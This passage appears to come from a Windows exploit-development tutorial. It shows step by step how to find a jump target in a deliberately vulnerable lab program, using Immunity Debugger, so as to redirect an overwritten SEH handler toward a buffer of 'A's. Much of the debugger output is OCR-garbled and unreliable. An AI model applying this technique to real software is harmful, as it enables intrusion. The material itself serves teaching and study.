* The next exception handler points to 0xCCCCCCCC so the chain is broken.

Let us try to solve this problem. Because we are not able to jump directly to the stack, but our code
is there we should figure out what code segment can bring us back to the stack if we are on the
exception handler branch.

start the old version of the patching.exe, when the program starts type 0 as nuber, to trigger the
exception.

.| Administrator: Command Prompt - patching.exe

:s0ld»patching.exe
nter a numher if B division by zero fires the exception handler:

Then start the immunity debugger, and select file / attach to attach the running application

& Immunity Debugger - [CPU]

C View Debug Plugine ImmLb Options Window Help Jobs
| Open F3 2ilisgJ+f 1 emt
Dekach
Exit Alt+¥
1 C:\Old\patching.exe Ctrl+F2

in the appearing window select patching, then click on the attach button:

Find: PA =10] x|
FID Harme Service Listening I i n o Fath -
1728 | postares C:~FPROGE
1780 | postgres C:~FPROGE
17258 | postares Cz~FROGE
1795 | postares Cz~PROGE
15864 | postgres C:~PROGF
1852 | swchost FPolicwAgent Cz~Windo
1264 | suchost RemoteRegistry Cz=lWlindo
1944 | swchaost W2EUC, WAS Cz~Windo
1956 | swchost WerSuwe Cz~Windo
2E32 | medtc MSOTC Cz~lWindo
21868 | taskeng CiceralIlndFrame Cz~lindo
2164 | Owm OWM Mot ification Window Cz~lindo
2212 |Edplorer Start Cz~indo
23660 | UBonTraw UBoxSharedCl ipboardClass Cz~Windo
2484 | cmd Administrator: Command Pool C:-llindo
2544 | omd Administrator: Command Pool C:~Windo
277 | patching Cz~0ld~p
SE7E | swchost TapiSrw Cz~Windo™_]
356 | UCERpress ODOE Serwver Window C:~Progr ™

Attach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button
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4. Immunity Debugger - patching.exe - [CPU - thread 00000034, module ntdil]

[C] Fle view Debug Plugins Immlb Options Window Help Jobs =7 x|
OB TE X UM HHEY lemtlwhcPkbzr..s ?ll
7 2F I RETH Registers (FPU) <
TrZECESn| G7 FUSH EDI T
e By (Wolmepemmiong Y S
] H + A .

772ESE33| C702 o@eEeeEE | MOU DWORD PTR 0S:[EDXI1,O e e e
772B2E3F| g97A o4 MOU DWORD PTR DS: [EDX+41,EDI Eog o
7roEcE4z| GBFF OR EDI,EDI Eo i
i TR TR
772B3E43| 33CH #0R_EAY, EAX EDT BEannEag
7r2EandE| FosE REPNE SEAS'BYTE PTR ES: [EDID EIP 772BSBZF ntdll.772B3B2F
FPZESEAF| B1F3 FFFFO@@A | CHP ECK, GFFFF ER- R0y sl
772E2ESS| 76 @5 JEE SHORT ntdll.772B3ESC B SR A A A g
772ESEST| B9 FFFFeee@ | MOU ECK, BFFFF S S8 B Soole nddanaaas
7rZBEESC| €6:894A B2 MOU WORD PTR DS: [EOX+21,CH b oSt Soole SLTHRRRREE
7reEoEcE| 49 DEC ECH R
77ZEZER1| €6:890A MOU WORD PTR OS:[EDX1,CH L
REESEAS B8 o IERER 08 LastErr ERROR_SUCCESS (0808080E)
7roEsEes| E7 FUSH EDI > ) eFL ooaeez4s (NO,NE,E,BE, NS, PE, GE, LE)
Return to 7r2FCRAE (ntdll. 7r2FC3AE] STE empty B, BEEEEEEEEEEEAEEEHEEEDE

ST1 empty 0. QOAGEEREEERBEGA000A0

ST2 empty 0. 0ROAOENDOAANNRAGEDND

:
Aaa Hew d fet PTEF O] S W[ RETURN %o ntdl L. r72rCoRg fram nedl LOE o
Less | TER SMAE 2N GESOFFER| ri408297 | 08Mg -

BR4E2888[FY &2 41 B3| @2 9C BE FC|=cH
BR46268682| FF FF FF FF|FF FF FF FF
BR462818|FE FF FF FF| 81 G0 GG 68| =

BR4E2612] 24 21 46 66| 88 GO GG Q6| 4tE
BR4026828| 81 60 08 88| CA 19 CF 28| a8,.
BR4E3823| 88 13 CF 88| 88 6a 68 aa| . n=
BR4EZE38| 88 BE B8 88| 88 B8 B8 8dl ...
BE4EZEZE| B8 6O GO 88| B8 B0 00 @4| ...
BR4E2648| B8 BE GO 00| B8 B0 00 G4f ...
BE4E2E42| BE B0 G0 00| B8 B0 00 G4l ...

BESOFFE4 | BEEEEEEE( .. ..
BESOFFES| BDEOEEEEE 0o
AESOFFEC| BEEEEEEE 0o
BAS0OFF7E| BES0OFFEA =
BES0FF 74| BEEHEEEE| .. ..
HE30FF7S| BH30FFC4|(— =.|Pointer to nexst SEH record
BASOFFFC|( FP2799FA|-d"w|SE handler

BES0OFFEE| BSSCCECT (|4
BESOFF 34| GEREEEEE] .. ..

BE30FFSS| FaBs0FFad| & 2

go4acoso| oo oo oo o bo o8 Bo 28)---  |eesorFec|| 77eRDEES| 6wl w|RETURN to kerne|32. 77BADGES —

BE4E30508( 00 B3 00 oB|oe BE oo ool ... = SESOEEZE)| Goadadad) ... . =
i il FEEENIEE il

|E}mw threads |Paused

The application will continue to run:
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4. Immunity Debugger - patching.exe - [CPU - thread 00000034, module ntdll]

@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
ll«xrubl*lillld-ol lemtwhcPkbzr.s?ll
> RETH :

e o FUSH EDI a | Feaizvers (PP -

Tiihiroc| aecase o HOU Ebx.DUORD PTR S5: (ESP+6] ECX 60p00000

. f + . .

7roESESS| Croz pe@peeee | MOU OWORD PTR DS:[EOX], O S [ A el SRl S o e o

7PZECESF| S97A a4 MOU DWORD PTR DS [EDH+41,EDI EEx popnaang

7rZECE42| BBFF OR EDI,EDI ESF poenrres

 RCEE e

7rzECE4S| 33CE SOR EAY, o)LL

;;ggggig E;E?E ﬁE?HEEEEHS EYTE PTR ES:L[EDI] EIP ¥FZESEZF ntdll.rr2BEB2F

FPEECEAF| S1F3 FFFFO@@8 | CHP ECH, BFFFF B e s A A A

7FZEOESE| 76 o5 JEE SHORT ntdl|.772B2ESC B L G pplE Zebiv BRERRERECES

TFOECECY| BY FFFF@EEE | MOU ECK, BFFFF WSS ophes Zobin BIFRREERRE)

7roECECC| GhiB94R B2 MOU WORD PTR DS: [EDH+21,CX -

S B F5 BO3E 32bit PFFOEG@E0FFF)

PrEECEGE| 49 OEC ECK A i

crebosel| 66:890R O GRD PTR DS: LEDKI, 0K LB

rrepssed| oF RORNES 0 B LastErr ERROR_SUCCESS (DOOOSEAE]

7roEcEes| &7 FUSH EDI ) EFL moaaez4s (MO,ME,E,BE, NS, PE, GE, LE)

Return to rr2FCORB (nedll. 7r2F Cona STA enpty . HOARRRRBEAAREEAEEEAE

STl empty B.000000880E808EER00533
5T2 ENDtH A, BEAAEERRRRREEEAAEERE

Address |Hex dump ASC TTEFCORA] S W] RETURN t5 ntdll. rraFCoAE from nedl o0 =
BO4BS008| Fr 63 41 D2 B9 oL BE FC|scH—f SocorFell 71408237 ) ula

BAI0FFE4| BOGBEEEE
BE463803( FF FF FF FF|FF FF FF FF SoiDrres| Soenaoos
Ba463316( FE FF FF FF|@1 @8 53 aafs BRSOFFEC| DOBRAEEE
BB483018( 34 21 48 BB B8 00 99 o0l4re | ZESEEFER) FHARAARE
BA463E20( 61 B8 B3 @8(CE 19 CF @8l

iz |oedoFrre| eoaoedal ...
eoaaca|Ba L2 G go|gn oB o3 231-""  |oeDFFrs| ee3DFFC|- Il|Pointer to nest SEH record

AEdpoEce| 6E 0B BE 06 66 G 6o Gol .. BEZ0OFFPC| Fr2799FA( - w| SE handler

BAZ0OFFSA| BESCLZCT | [bré
PR4AZR40( B8 PR 0P 06| G0 B 0D GG ...
BR4E3E4S| B0 G0 60 06| B0 6P GO @l ... | 99S0FFR4) ooGoEOGOH) ...

BBS0FF 5| rBOS0FFa4| & 2
o aaoea|ga oo ga 2ol o 22 22 22):--. ] eesorrec [??BHDBEB 8. w| RETURN to kerne |32, 7FBADBED —
B0403068| B0 08 0@ @0 80 oa oo po| ... = 2AEOFFED)| 0GRRAEE .. . - E

|[1@:38:55] Thread B88HAD34 terminated, exit code @ |Running
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now the application is running. Finally send to it the data by the al.pl

z.| Administrator: Command Prompt

s0ldral.pl
=~01d>

The application pause because of the division by zero.

70/122

4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil] -0
[C] Fle view Debug Plugins Immlb Options Window Help Jobs |7 x|
s EE X I WMLl 1l emtwh|lcPkbzr 5?-|
FrrD BLC I0IY OWORD FTR_S5: LEEF+C] Reaizt {FRL < < |
YREOIGFE| S9d45 GC MOU DWORD PTR S5: [EBP+C], Bl met e
FRE01GEFS| EE GO JHP SHORT mudl 1, 7OE01625 [
TOE01G7E| CP4E FC FFFFFFF|HOU DWORD PTR S5: (EEP-41, -}l B JREEREEE
FREOIGSE| BB SF |BE0TE MOU ERX, myd L | . PEE01EEF EBY PBo iOeE MEUCRS®. printf
7EE01GE7| C3 RETH g :
7EBE01RGE| Cr<4S FC FFFFFFF|MOW DWORD PTR S5:[EBF-41,- |FE=F ZAMsEZeb
FRE0IASF| SE40 Fa MOU ECX,DWORD FTR 55:[EBP- | a7 Perassac wse oo.closcsocket
FRAOIAIZ| Ed:2960 GADAGEE| HOU DWORD FTR FS:[B1,ECH Rl c
FRE01A33[ &3 FOF ECH
FRE01GE9A| BF FOF EDI EIF 7EB01E73 mydll. 7EE01873
;SSE%SSE EE EBE E§>I< C B ES @823 32bit B(FFFFFFFF)
7EE01670| 3840 Es MOU ECX,DWORD FTR SS:lEBP- |G o 52 JEIE 22bit BLERFREREE)
roaDieRs( 33C0 sl (BEs, Kl Z B DS G823 22bit BIFFFFEFFE)
FRA0IGAT| SEEE HOU ESE, EBF =GB e
e ReTH D @
POR0IGAE| B0 1ZoeR07E | CHP ECY, DWORD PTR DS:[_ sefef Y @ LastEre ERROR_SUCCESS [@0@HEHG0H]
IR IrIaE Rr1=E] = -t} W7 SUOET caadl | FEEC] GO EFL @aa@ia2ez (Mo, HE,.HME,A, M5, PO, 5E, 5
SR S L STE empty B. AEBREEREAREEREEHAGEE
ET1 empty B.FEEEEEEEEREREEEREREE
STZ empty 8. BOBBABEEODOOO00EA00E
Address |Hex dump met o (001 cE0o=] 41414141 oomn .
DE403000|05 L6 55 14|27 02 % EB|TFI—f ooiscnan| jaesaent|oRed
OB463005( FF FF FF FF|FF FF FE FR| | B212ED40) 14894680 2F8
BRIAZAIA| FE FF FF FF|B1 @3 8@ @@ QolZED4d| ooagadna) ...
GE4G3018|34 21 40 06|00 0o oo oo|4te | BA1ZED4E) DO1ZE9SC 8%
BR4IAZEZE| A1 PR BB B6| CH 19 28 66| A, . i #. | Pointer to nent SEH record
oo | B B R e 2 R BA1ZEDSA 7EE0IASA| G+.p| SE handler
BE4ESESE| BB B0 B0 06| BB BB GO 66| .. iEEne e anno
BE403035( 08 00 00 00 0o oo oo oo, |2P1ZEDSE\roOLaFRAd DA o -
BE4ESE46| 66 BE G0 Gb|oe BE GG BB ... . o patching.BE4B1268 from patot
PR4ASA4E| BE PR 0P GO BB B0 68 BE| .. DR1ZEDGR | DRLZERSS) Sns. |
PRIAZACE| B3 PR GP 00| B PR OD 06| . " T
AR4E2PCE| BE G PR GO BE 0R PO @6 EA1ZEDSS|] BE482250C | ~'"E, | ASCII "Bytes received: Hdd
BR4EIEEE| B8 G5 G0 06| BB 6B B0 BE| ... |l 2O1ZEDEC) | BOEAGIAL) 44 . : . -
| fR4nAcsl AR BA B BAl AR GR B6 GR EELZEDYE(] Ba4A3388) C3E, | OFFSET patching.__native_startup_lock

|Ehuw handles

|Paused

The question is what to set as new Exception Handler. To do it add a break point to the actual
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exception handler (0x700D1A80). To do it right click to the disassembler window, and from the
popup window select go to / expression:

4. Immunity Debugger - patching.exe - [CPU - main thread, mo

@ File View Debug Pluginge Immlib Options “Window Help Jo
OB X P I HALEYSE 1 em

| FEED1E7S [TOT NLORD _ETR S5z [ERF+C] Real
7EB01678 | Badn b R oy =
TEED1EFD dll.7Eallass _I ECH
7ER01B7E( | Copy b [R SS:[EEP-41,-_ N o0
7EB016S2 L. 7880 183F ERi
FEaniaay Binary 3 ESF
7Ea01623 R 25:[EBP-41,- |-
TEED1BSF Aszemble Space O FPTR 55: [EEFP- ESI
7EA01632 R FS:[81,ECX EnT
FEB01E99 Label :
vEEb189q EIF
rea0iess||  Comment ; C @
LADigo0||  AddHeader =
;SSE%SES O FTR S5: [EEF om
;SSB%SE; MI:IIjIﬁ.I' "."ElfiEltdE | security_chec g S
;SSE%SEE Breakpoint r E S
PRBOieAE||  nun frace ¥ o PTR Do e
b lrirInR R =k Al 1l PrEGnd Ges EFI
Ftack SS=| Previous  Minus

Follow in Durmp r

OAddrezz | Il esa12ED22] 4141414110F

in the appearing new window type the address of the exception handler now 0x700D1A80, then
click to the ok button

Enter expression to follow x|

|70001480 |

] I Eancell

then right click to the line 0x700D1A80, and from the popup menu select breakpoint / toggle (or
press the F2 button)

4. Immunity Debugger - patching.exe - [CPU - main thread, module noydil]

@ File View Debug Pluging Immlib Options Window Help Jobs

O T X p 1l YRl 1 emt wh|cP
FEBOLAZE| _ARCAZd [R THOL_FO. OWORTFTR 553 LESF* 4 | Regi
ters (FPU
GG | y [ Do: [EDx+ Rt e ———
CoaEer AR # DS:0BDR-  |EcH oooosooo
Copy b E0Y BRGOEHE0
iR . pritvoches  EBY SES1iDCC MSUCRSG.)
fooDiAar||  Dmary s : ESF BE12E92C
. EEP B@1ZEOEE
FBA0LAS3(| Azsamble Space prity_chec | Foy peFagzac wsz_zz.c
PRA01AIE AOZ26EE o I
TEA01AAS Label : FrameHand |
rooDiAAs|| . [ER:1, AL EIF 7EB0LE73 mydll. 78
Tl ; ' C 8 ES @822 ZZhit orl
CROOTARE || Add Header [ecsl AL e 6 cs eate 336t ol
' A e 558823 3%hit Ol
PRA01AEG . . CEAT.AL 38 SR e
Fae0ipez||  Modify Variable ERx1.AL = A B EEEE O Bl
FRA01AES
ae01Ags || | |
;SSE%EEE Run trace 3 Conditional Shift+F2 I
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The line is marked to show the breakpoint, then press Shift + F9 as written at the bottom of the
window, to pass the exception to the application, and let it process the exception.

4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil] =]
@ File Wiew Debug Plugins Immlib Options Window Help Jobs - ||5’|i|
OB TE Mx P U HHEYE lemtwhcPkbzr..s ?ll
e R I MOW EDR, OWORD FTR S5 LESF+ 4 | Reaict [FPUI c < |
TBED1AS4| S04z BC LEA ER:, DWORD FTR DS: [EDx+ R TEs=terett
7RADIAS7| SESA EGFEFFFF | MOU ECH,DWORD PTR DS: [EDH- | 200 B8RE5nem
FEa0ineo| 2ace “OR ECH, ERH o
vEED1REF| ES 1PF&FFFF CALL mudll.__security_chec EEX 6BS110CC MSUCRSE. printf
foiny S\ g o G oo
7EE01AZS| ES BOFEFFFE  |CALL mudll. security chec |ED] Seramome wse 2o.closccocket
7EE0IASE| ES DEZSE0Te MOW ERX, mud L1, FEB0Z360 SRz c
FEE010AZ|~EQ CEFFFFFF JHP mudll. _ CowFrameHandl
e o B T 2 e rstomin oo
7EE01AAC| Baee ADD BYTE PTR DS:[ER¢1.A0 [WE B ES Ba5 Sopit O(FFEFEERE)
7BaDIAES| Dadl ADD BYTE TR DofCEAWllAL |2 @ S5 9923 32bit BUFFFFFFFF)
TEOD1AEE | BE8S ADD EYTE PTR DS: [EARI,AL S L e ekl adaR
TBaDIAES| bash ADD BYTE TR DosfEmdl A  |I @ 55 ewée NULL
0 r 0D

FEA0I0ES| GEBE ADD EYTE PTR DS:CEAX1.AL
7EGE0I0ER| DEEE ADD EYTE FTR DS:CEAX1,AL [gll o P LastErr ERROR_SUCCESS (B8poepea)
IR IrInE Rui=tl R Tr r r] AN CUTE OTE O, FEmstl ol EFL @8@ia2e2 (MO, ME,.HE,A,HS, PO, GE, G]

5TH empty @, AOEEREEEAEEEAEEEGEEE

ST1 empty 0. AOBDHEEEAERERCEROREE

STZ enpty B. BEBBAOOHAGHEAGHGHGGE
Address |Hex dump BEC o] 90l1Z2EDSE( 41414141 AAARA -
OE403000| 05 Lo 58 14|27 o2 % EB|TFI—f porscnas| jaoaepi| Ped
oB4a30a3| FE FF FF FE(FF FF FE FR| | BB12ED4E) 1485408E 1R
BR4E2E16| FE FF FF FF| @1 08 68 66| Bo1ZED4G| Doopand) -+,
BR4EZE1Z[ 24 21 4B 00|00 60 00 G0|4tE B

BEA1IZED4C|) BE1ZFFYS| = #.|Fointer to next SEH cecord
R ooncn|ol o oo oo La 12 20 9910, |SeiSE0SE (mreEDRsE | SISE En e
G3403030| 65 06 00 65|00 60 6o 0| ... |SS1ZEDSH)  SGCOHONE ...
PR4AZAZE| B8 PR 0P 06| G0 B 0B G6| ... . .
BE12EDGC | | @B4m1262| hed. |RETURN to patching. BE481268 from patek

coiccaelca oo & oo\da o8 oo k| |amioelg | sadnlons bet
BE463050( B0 06 60 60 00 o0 oo aa| ... | BR1ZEDE4)| BOGBAEED) ... L1 egor fved: Hag” _I
BE4EZECS| G5 B0 B0 GO 69 G5 B0 B6)... : RS BEEI0EEE o
BE4G2GEA( 60 BE 00 B6( 60 BB 60 A6l ... f S2L1ZEDSL | GUBEEIad)| 4. . . : -
mﬁqﬁﬁﬂ AR AR AR A6l AR R AR AR HAE12EDVE HE4A333A ';3@- OFFSET patch lng._natwe_itartup_ll:u:k
([12:14:55] Integer division by zero — use Shift+F?/F8/F? to| |Paused

The content of the stack and the registers will be the same when our code is called. We just have to
find some address capable to jump to the code controlled by us.
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]

File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OF%TE Mx > I ¥+ lemtwhcPkbzr.s?J|
[EEEREEEE] cec4:4 6o MOU EDX, OWORD TR S5: LESF+ : = |
FRAOIASG| SOEE BC LER ER%,OWORD PTR OS: [EDH+a Egglgggg;aégpm I
TOE01AZ7| 8BEA EGFBFFFF | MOV ECK,DWORD FTR DS:[EDX- | EF% 28601A%8 mudl L. 76001028
roaDiAsD( 3308 #OR ECH, ERR . E0¢ 77205F20 ntdll.77205FE0
FEEDIAEF| EEB 1¥F&FFFF CALL mudll.__security_chec EEY BEODEOEE
FEEOIASY| SB40 F4 MOU ECi, DWORD PTR OS:TEDR- | Eoo 22928808
FER01AST| Zace ¥OR ECH, EAY S e
PEE01ASS| ES BOFSFFEE CALL mydll. security chec |Eo; pRloesdd
FEE0IASE| BE GRZ3E0TG HOW ERH, myd 1. PEE0ZSEE Enig e
PEE0LARE|~ES CEFFFFFE JHE mudll.  CusFrameHandl
- 8 T R B o i o
7oE01AAC| poee AOD BYTE FTR D5:CERX1.AC | |F § ES Bais 2o0is BiFFFFEFER)
FEEDLANE| BEEE AOD EYTE FTR DS: [EAX1.AL MERN S e
FEE01IAEG| GEBE AOD EYTE FTR DS: [EAX1AL -
Z 1 DS @623 Z2bit ©(FFFFFEFE)
PER01IAEE| BEEE AOD EYTE FTR DS: [EAX1.AL ELENC TR R s,
PEE0LAES| BEEE AOD EYTE FTR DS: [EAW1.AL SRR i
= e RE et Al
FEEDIAER| BEEE ADD EYTE FTR D5:CEAX1,AL g0 @ LestErr ERROR_SIUCCESS (B@@RHAR6A)
EIrIrInE Rui=u) MR Trr r] AAC DUTE DTE Oca et ol EFL AA@8az24& (MO, HE.E,EBE,HS,FPE,SE,LE]
Stack 5o:LO01CESE01-EB1ZEDAC
s 5TE empty ©. AOEOABEEOREERDEDEAREE
A SofaSEs e o tan S ST1 empty 8. AOEOOEHEEGHERGEEHHEEE
ST2 empty 8. AEEEOGHEOAEEAEEHAGEE

S Pe—— bbbt
7r205F 73| y_—w|RETURH to ntdll.772DEF7S T~
BE1ZESEE[ BE1ZESAC|Lp#.
BE1ZESEC BE1ZEDGC| La#,
BE1ZESTA| BE1ZECSH| ™ me=f
AA1ZESFY | BE1ZEEZE( p¥.
BE1Z2EEFE| BU12ED4C|L+#.|Pointer to nest SEH record

BE12ESPC| YP205FE0| i_-w|SE handler
BA12EESA| BE12ED4C| Lad.
BA12ESSY | FEE12EESE | 4p .
BE1zZ2EE3E|| Fr20EF4E| F_—w| RETURH o ntdll.7F205F4E from ntdll.E-
BE1ZESEC|| BE1ZESAC| Ly #.
BE1ZESA (| BE12EDGC| L.
AA1ZES3Y (| BE1ZECEE| ~ me=t
BA1ZEEIS(]| BE12EE2E( p#.
BE12ESIC(| FEEDIASE| G+, p| mudl L. PEED1ASE &

Address |Hed dump HSC w
EA4E2EER| 02 Ce SB 14|27 29 74 EB|TFI
HE4828682|FF FF FF FF|FF FF FF FF
B84828168|FE FF FF FF|Al 68 88 80|
BA482812]| 34 21 48 60|00 68 88 60| 4tE
BE4E38Z8| 01 B0 @8 @a|Ca 19 28 @a|@..
BR4ESEZE| A8 13 28 88|68 B8 B8 aal !
HE4ESEZA| A0 BE B B8| A0 BE @@ @a)...
BA4ESEZS| 00 BE B 0|00 B8 B@ @8)...
BA4E2840| A0 BE B8 G0| A0 BE A8 @8 ...
HE4E2842| B0 B0 B8 0| H0 B0 8@ @8 ...
BE482850| 06 60 A8 0|06 68 83 aa|...
BA4EZ85S| A0 B0 88 60|80 68 8@ aa...
BE4EIH6E| 00 BE B8 G000 B8 88 88| ... s
| AR4ASAAE] AR AR FAA AL AR §E AR FHE

|[12:23:23] Breakpoint at mydll.YABD1AEA | |Paused

We can see that only ESP and EBP points to the stack, but it is quite far from the values where our
data is loaded (0x0012E940..0x0012ED3C)

EENEEEEE W] . aal1ZEDZC|| 41414141 ARAA

FRIZESZC) | 142946BF [ FE1 AE1ZEDZE || 41414141 | ARAA

AE1ZESZE| | BEEREREE| P, .. BE1ZEDS4 || 41414141 | AAAA

FE1ZES34 (| YEF33EC| . 3w WS2_32, ¢ losesocket AE1ZEDZS|] 41414141 | ARAA

oEl2e222) | éB2110CC| [F#ik [ MSUCRIG. printf BE1ZEDSC| | 41414141 | ARAA

FALIZESZC| | BOERRALL | 4. .. EA1ZED4E (| 14294E5BF |1 FET

BE1ZES4E|| 41414141 | ARAR BE1ZED44 | | BEREEA488| . . .

AA1ZES44 (| 41414141 | ARAR AE1ZED4S| | BALZES2C| , 0.

EElZES43(| 41414141 | ARAR FE1ZED4C|| @B12FFFE| % #.|FPointer to nexdt SEH record
AA1ZES4C|| 41414141 | ARAR GaizZEDCE|| YeeDiAga| ¢+.p| SE handler

AE1ZESEA(| 41414141 | ARAR BE1ZEDSY || BEREEEAA| . ...

EA1ZESE4 (| 41414141 | ARAR BE1ZEDSS| FAALZ2FF44| 0 #.

FA1ZESEE(| 41414141 | ARAR BE1ZEDSC|| @@401268| h#@, | RETURH to patching. 88481268 4
AA1ZESCC| | 41414141 | ARAA BE1ZEDEE || BB12EF3E| Sn4.

FR1IZESEA|| 41414141 | ARAR BE1ZEDES || B@BEEEEE) .. .. L

So the registers are not good for us. Then take a look at the actual stack:
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BE1ZESEC| BESICEFE( mriis BE1ZE4Cd | DREEEEE](B...
AE12ECEH) FFFFFFFE(m BE12E4CE| GR1ZEVEA(Pr$.
rreDsFP?| w_—w| RETURH to ntdll.7r20SF72 BE1ZE4CC) Qoooaall 4...
HETZESES| BE12EG4C| Lp%. BE1ZE408| BREEE8aal ... .
BE1ZESEC) BR12ED4C| Lid. BE12E404)| GR1ZEC4C|Lp*.
AETZEETE| BE12ECEE| ~ m=t BE12E402) FIBFFIFE[wma
BE1ZEST4 | BE1ZEGZA| p#. BE1ZE40C| GEEEEEEA(....
AE1ZEETE) BE1ZED4C|Le. | Fointer to nedt SEH record BE1ZE4ER| GREEEEE](8...
BE1ZEEFC) ¢P205F20( i_—w| SE handler BE12E4E4| QOOREEEA(....
BE1ZESEE| BE12ED4C| Lid. BE1ZE4ES| GE1ZEG4S(Hp+.
AE1ZESE4 | rEE12EGS4 | 4p #. BE1ZE4EC| BRZ52258(P™a.
AE1ZEEEE| | Fr205F4E| K_—w| RETURM to ntdll.77Z0SF4E fx BE1ZE4FE| GREEEE1Z(t...
BETZESEC) | BE12EG4C | Lp$. BE1ZE4F4 | BR21cEE48( @, @
HE1ZESZE| | 881 2ED4C | Le#. BE1ZE4FS| QO1ZESIC| L%,
AETZES24 | | BE12EGEE | ~ m= BE1ZE4FC| Qo@@aaaal .. ..
BE1ZESSS | BR12EC2E| pE. BE12ECER| QRBEEEEA[ .. ..
AETZEESC) | 7EED1A2E| C+.p| mydl L. FEED1ASEA BE12EEA4 )| GR1ZEALZ[ tR+. | ASCII "ARAAARARARARARARARRRARRAARAA
AE1ZESAE | | BE0AEEEE| . ... BE1ZESES) Qooooeaal .. ..
AETZEEA4 || BE1ZEG4C | Lp$. BE1ZESAC) B012ERAA4 | #x#%. | ASCII ""HRRAAARARRARRARARRRRRAARAA
BE1ZESAS| | BR12ED4C | L%, BE1ZES1A| QOEEEE11(4...
BE1ZEEAC| | PP2ASE212( $d#w| RETURHM to ntdll.7F2ZAZ212 fi BE12EE14)| YOED2Z21a8( k".p| OFFSET mudll.__safe_se_hand
AE1ZESES || BE12EG4C | L #. BA1Z2ES1S| B012ES64 | dot.
AE1ZEEES || BE1ZED4C | Lad. BE12ESIC| Fr2A9968(hi#w| ntdll.7FF2A995E
AETZESES| | BE12ECEE | ~ m=t BE12ES2H| F72A9931[iid#w| ntdl L. 7F2A99S1
HE1ZECEC| | GB12EC28| p#. BE12EE24| VIBFV342(Bsqq
EE1=ESCE| | PAEDIASA| G+.p(mudl L. FEE01ARSE BE1ZES2S| OOEEEE88( .. ..
BETZESCS || BROAEAESA|P. .. BE1ZESZC) BR1ZEE4C(Lp+.
AETZEECE| | BR12EG4C| Lp+. BE12EE3H| FOED1ASE(C+.p| mydl L. PEE01ASE
BE1ZESCC) | FEF2330C| . 3-v| WSZ_32.closesocket BE1ZES34| Qa7IE87( v, s,
AE1ZESDE| | BESaBa48| 2. G, BE12ES3S| O0aSEE74(t.e.
BE1ZEED4 | | BR0AEECS | d. .. BE12EE3C) GE22EE60( M. 2.
BETZEEDS| | BE0REEEE| . ... BE12EE4EH| BESCAEIZ( 2.~
AE1ZESDC| | F1BFY3CE| Fsaa BE12EE44)| FoeDzz1af p*.p| OFFSET_mwdll.__safe_se_hand
AETZESES || Fra334B7 S| wESw| OFFSET ntdll._LdeApiDefault BE12E545) FEEDEEE0| ... p|medl L. FEE0EEEE
BETZESES || PP224672 | wESw| OFFSET ntdll._LdeApiDefault BE1ZEC4C) BR1IZESZ4 | Sod.
HE1ZESES| | @812E744 | Dv#. BE12EEER| GATAEESI( i.p.
AE1ZESEC| | FP2B5296( GR+w| RETURM to ntdll.7r2BS5296 fi BE1Z2ESS4| G01ZED4C| Le%.
BETZESFE| | BR12EGIC| Lp$. BE1ZEEEE| FYEVI9FA(-0"w|ntdll.__ercept_handlerd
BETZESF4 || BR12EVAB| Sv$. BE12EEEC| BE21CIZFE( mriis
HE1ZESFS| | oa0a0e8] (8. .. AA12EEEH) FFFFFFFE(m
BE1ZESFC| | FP2B52F0| * R+w| RETURM to ntdll.772BS2FD fx rre0sFP2 | w_—w| RETURH to ntdll.7F205F72
BE1ZECEE | | BR2S1C08| T, HE1ZEEEE| BR1ZEE4C|LpE.
AE1ZEEA4 || BE12EAGY [ +n+. | ASCIT "ARARARAARAAARARARARARAAARAF BE1ZEREC) BE1ZED4C| Lt

as one can see there are addresses points to our "A"s so there are some possible solutions, if you can
find any of the following instructions on an executable address:

jmp [ESP + 0xAO0], jmp [EBP + 0x80], call [ESP + 0xA0], call [EBP + 0x80], jmp [ESP - 0x58],
jmp [ESP - 0x60], call [ESP - 0x58], call [ESP - 0x60], jmp [EBP - 0x78], jmp [EBP - 0x80], call
[EBP - 0x78], call [EBP - 0x80]

One can try to find this instructions on the following way: select view \ executable modules

4 Immunity Debugger - patching.exe - [CPU -
|E| File Debug Pluging Immlib Options W

1y | Log Alt+H | HEY |
_— e
7eE0iAs]  Memeory AltHM | FTR ¢

in the new window double click to patching.exe (Why patching.exe, and not something else? It is
because as you remember we compiled the patching.exe with the /SAFEHEH:NO switch. What
does it mean. Next to the SEHOP there is another SEH protection mechanism called SAFESEH. It
records the address of every exception handler to the program header. If an exception handler trys to
jump to and address not recorded in this list the application stops without executing that. This is
why we compiled the patcing.exe with the /SAFESEH:NO directive, to guarantee there is at least
one module compiled without it. As you can deduce from it the SAFESEH is usefull if and only if
all the modules loaded by the application is compiled with the SAFESEH directive)
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. Immunity Debugger - patching.exe - [Executable modules]

@ File \Wiew Debug Plugins ImmLib Options Window Help Jobs

EEEEEREL

Mk

o =

l emtwhoecPk Dbz

Base Size Entry Hare File wersion FPath

HE4E0EEE | BEEHSEE0 BE4E1593 patching C:=~0ld~patch ing. ene

EEFEBHEE | BEBASHEE | EB2B2046| MSUCR98 | 9,660, 38729, 1 C:-llindows~WinSs S~ 86_microsoft. w98,
THAOEEEE | BEEESEEE| FAA01491 | mudlL L Ci=Old~mydlLl.dll

740REEEE | BEAREARE | 74081564 | wshtepip| 6.8, 6888, 162326 | Cr-llindows~System32~wshtcpip. dLL
rE1l10686 ) BEEIEEE0) F5111424 mewsock |G&.8.688@,. 16386 | Ci-Windows~systendZ~mswsock.dll
TEAFOEEE | BEECEEEN| FEE3ECC] | ADUARIZZ | 6.8, 68E2, 12805 | C:~Windows~systen32~HOVAFIZZ. 11
TEl3EEEE | BEans00E Fa1316ES| HET G.@. 6881, 12660 | Ci~lindows~system3I2~HEI.dl1
TE1l60EEE | BEEHABEN| P& 159FHE| mswort T.8.6882, 12805 | C:~Mindows~systenId2~msucrt.dll
vE21EEEE | BEAC300E | FE3EB2EE| RPCRT4 5.8, 6881, 18808 | C:~Windows~system32~RFCRT4.d1 L
TEFIEEEE | BEAZ0E0E | FEFF1434| WS2_32 G.H, 688A, 16386 | C:~Mindows~systenId2~WN52_32.d11L
7rOGEEEE | BERDCARE | FFBAREFFS| kerne l32( 6.8, 6881, 12806 | C:-llindows~system32~kerne 132,11
TrerBEEE | Bal 2yamng ntdll 6.0, 6881, 188668 | C:~lindows~swstem32~ntdll.dlL

75/122

When te module is loaded right click to the disassembler window, and from the popup menu select

Search for \ command

